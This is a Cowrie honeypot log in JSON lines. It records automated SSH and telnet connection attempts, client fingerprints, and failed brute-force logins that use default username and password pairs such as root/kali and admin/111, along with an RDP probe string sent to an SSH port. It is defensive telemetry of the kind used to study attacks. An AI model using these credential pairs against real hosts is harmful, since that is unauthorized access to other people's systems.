{"eventid":"cowrie.session.closed","duration":38.845651388168335,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:49.879085Z","src_ip":"152.42.224.71","session":"8f338f520eed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.98994469642639,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:52.633509Z","src_ip":"152.42.224.71","session":"0cbe796b3430","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":117.26535677909851,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:56.644750Z","src_ip":"152.42.224.71","session":"3a6fded0f04a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60234,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0c72b657f50","protocol":"ssh","message":"New connection: 31.40.204.166:60234 (159.203.135.109:22) [session: c0c72b657f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:56.885572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:56.904771Z","src_ip":"31.40.204.166","session":"c0c72b657f50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:57.021315Z","src_ip":"31.40.204.166","session":"c0c72b657f50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:57.589515Z","src_ip":"31.40.204.166","session":"c0c72b657f50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:06:58.713132Z","src_ip":"31.40.204.166","session":"c0c72b657f50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38216,"dst_ip":"10.17.0.5","dst_port":23,"session":"89c3062ace7e","protocol":"telnet","message":"New connection: 152.42.224.71:38216 (10.17.0.5:23) [session: 89c3062ace7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:00.664497Z"}
{"eventid":"cowrie.session.closed","duration":53.669856548309326,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:01.629569Z","src_ip":"152.42.224.71","session":"1c8c2541d523","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.535884857177734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:03.318304Z","src_ip":"152.42.224.71","session":"d698c4a6005d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38218,"dst_ip":"10.17.0.5","dst_port":23,"session":"89442be81764","protocol":"telnet","message":"New connection: 152.42.224.71:38218 (10.17.0.5:23) [session: 89442be81764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:04.114989Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46044,"dst_ip":"10.17.0.5","dst_port":23,"session":"c202a6d9127c","protocol":"telnet","message":"New connection: 152.42.224.71:46044 (10.17.0.5:23) [session: c202a6d9127c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:06.958827Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46046,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0ac1166238b","protocol":"telnet","message":"New connection: 152.42.224.71:46046 (10.17.0.5:23) [session: e0ac1166238b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:08.174068Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39056,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5004dba3729","protocol":"ssh","message":"New connection: 31.40.204.166:39056 (159.203.135.109:22) [session: e5004dba3729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:10.280875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:10.286478Z","src_ip":"31.40.204.166","session":"e5004dba3729","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:10.405158Z","src_ip":"31.40.204.166","session":"e5004dba3729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecs-user","password":"ecs-user","message":"login attempt [ecs-user/ecs-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:11.010638Z","src_ip":"31.40.204.166","session":"e5004dba3729","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:12.189660Z","src_ip":"31.40.204.166","session":"e5004dba3729","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38578,"dst_ip":"10.17.0.5","dst_port":23,"session":"be97bd1e5bb9","protocol":"telnet","message":"New connection: 152.42.224.71:38578 (10.17.0.5:23) [session: be97bd1e5bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:16.872653Z"}
{"eventid":"cowrie.session.closed","duration":53.49807024002075,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:19.739884Z","src_ip":"152.42.224.71","session":"59586a5a4b05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":46368,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc3101ce7037","protocol":"ssh","message":"New connection: 31.40.204.166:46368 (159.203.135.109:22) [session: dc3101ce7037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:21.081975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:21.086647Z","src_ip":"31.40.204.166","session":"dc3101ce7037","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:21.215451Z","src_ip":"31.40.204.166","session":"dc3101ce7037","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:21.686882Z","src_ip":"31.40.204.166","session":"dc3101ce7037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:22.818461Z","src_ip":"31.40.204.166","session":"dc3101ce7037","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38582,"dst_ip":"10.17.0.5","dst_port":23,"session":"8acbadbf2e53","protocol":"telnet","message":"New connection: 152.42.224.71:38582 (10.17.0.5:23) [session: 8acbadbf2e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:22.868066Z"}
{"eventid":"cowrie.session.closed","duration":120.00264310836792,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:23.887226Z","src_ip":"152.42.224.71","session":"e7f2c0861985","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":116.54208159446716,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:25.456216Z","src_ip":"152.42.224.71","session":"c5d4d2bc0668","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.67646288871765,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:26.745826Z","src_ip":"152.42.224.71","session":"c58c848d1479","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.98178291320801,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:29.692222Z","src_ip":"152.42.224.71","session":"c23fc105e1c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.603883743286133,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:32.268026Z","src_ip":"152.42.224.71","session":"89c3062ace7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51374,"dst_ip":"159.203.135.109","dst_port":22,"session":"6916099360ad","protocol":"ssh","message":"New connection: 31.40.204.166:51374 (159.203.135.109:22) [session: 6916099360ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:32.422952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:32.426754Z","src_ip":"31.40.204.166","session":"6916099360ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:32.604514Z","src_ip":"31.40.204.166","session":"6916099360ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:33.107063Z","src_ip":"31.40.204.166","session":"6916099360ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.067474603652954,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:33.160558Z","src_ip":"152.42.224.71","session":"03dc6974986f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":53664,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0f2b8a834ec","protocol":"ssh","message":"New connection: 103.149.28.157:53664 (10.17.0.5:22) [session: c0f2b8a834ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:33.494644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:33.520223Z","src_ip":"103.149.28.157","session":"c0f2b8a834ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:33.747587Z","src_ip":"103.149.28.157","session":"c0f2b8a834ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:34.505779Z","src_ip":"31.40.204.166","session":"6916099360ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49219,"dst_ip":"159.203.135.109","dst_port":22,"session":"8890be804bbc","protocol":"ssh","message":"New connection: 152.42.212.128:49219 (159.203.135.109:22) [session: 8890be804bbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:34.654811Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:34.658755Z","src_ip":"152.42.212.128","session":"8890be804bbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:34.661717Z","src_ip":"152.42.212.128","session":"8890be804bbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123123","message":"login attempt [root/123123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:34.741566Z","src_ip":"103.149.28.157","session":"c0f2b8a834ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37258,"dst_ip":"10.17.0.5","dst_port":23,"session":"9749e156d564","protocol":"telnet","message":"New connection: 152.42.224.71:37258 (10.17.0.5:23) [session: 9749e156d564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:35.171767Z"}
{"eventid":"cowrie.session.closed","duration":120.00168251991272,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:35.322948Z","src_ip":"152.42.224.71","session":"5bfc0b33d956","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37266,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ec9851a5b2a","protocol":"telnet","message":"New connection: 152.42.224.71:37266 (10.17.0.5:23) [session: 5ec9851a5b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:35.761136Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58446,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2c4b3b45c76","protocol":"telnet","message":"New connection: 152.42.224.71:58446 (10.17.0.5:23) [session: f2c4b3b45c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:35.921947Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:35.992125Z","src_ip":"103.149.28.157","session":"c0f2b8a834ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58462,"dst_ip":"10.17.0.5","dst_port":23,"session":"28a23700b3a2","protocol":"telnet","message":"New connection: 152.42.224.71:58462 (10.17.0.5:23) [session: 28a23700b3a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:43.229967Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43180,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4c998248c19","protocol":"ssh","message":"New connection: 31.40.204.166:43180 (159.203.135.109:22) [session: a4c998248c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:44.482389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:44.492455Z","src_ip":"31.40.204.166","session":"a4c998248c19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:07:44.682020Z","src_ip":"31.40.204.166","session":"a4c998248c19","protocol":"ssh"}
